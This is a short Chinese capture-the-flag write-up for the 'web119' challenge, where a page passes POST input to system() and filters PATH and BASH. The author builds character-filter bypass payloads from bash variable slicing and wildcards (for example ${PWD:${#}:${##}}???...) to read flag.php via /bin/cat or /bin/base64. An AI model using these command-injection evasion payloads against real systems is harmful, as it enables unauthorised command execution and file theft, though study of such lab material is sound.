web119笔记(PATH、BASH过滤)
<!DOCTYPE html> <html lang="zh-cn"> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8" /> <link rel="stylesheet" href="style.css"> </head> <body> <div style="width:400px;height:10px;margin:100px auto"> <form action='' method=post> <input type='text' name='code' placeholder="给你打开一扇通往结界的门,可惜钥匙你是找不到的 "> </form> <!-- system($code);--> </div> </body> </html>
在之前的基础上ban掉了PATH、BASH
可惜了,本来PATH过滤掉了之后想构造head,因为已经能拿到he,但是BASH⼜被过滤就没办法
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
多次发现PATH被过滤了,而PWD没有(看回显就知道了),首先,我假设执行命令是/bin/cat flag.php,这里bin,flag.php都可以用通配符过滤了,这个cat不行, 我们可以来看一下 Linux 系统的 bin 目录下符合要求的命令:
可以看到还是很多的,因此并不一定会执行到我们期望的那个命令
所以可以用??t,构造前,先知道
$PWD /var/www/html
${USER}=www-data
${#}=0
${##}=1
${#SHLVL}=${##=${#?}=1
${SHLVL}=2
${#IFS}=3
${PWD:${#}:${##}} // 表示 /
${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t
因此/bin/cat flag.php 就是${PWD:${#}:${##}}???${PWD:${#}:${##}}??${PWD:~${SHLVL}:${#SHLVL}} ????.???
=== /???/??t ????.???
还要有一种解法是设命令为/bin/base64 flag.php
这里主要是把4构造出来, 然后就需要构造 4 这个字符了,这里可以使用RANDOMRANDOM是一个变量值,随机出现整数,范围为:0~32767,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样
如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子 回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5
在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数。最终得
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

浙公网安备 33010602011771号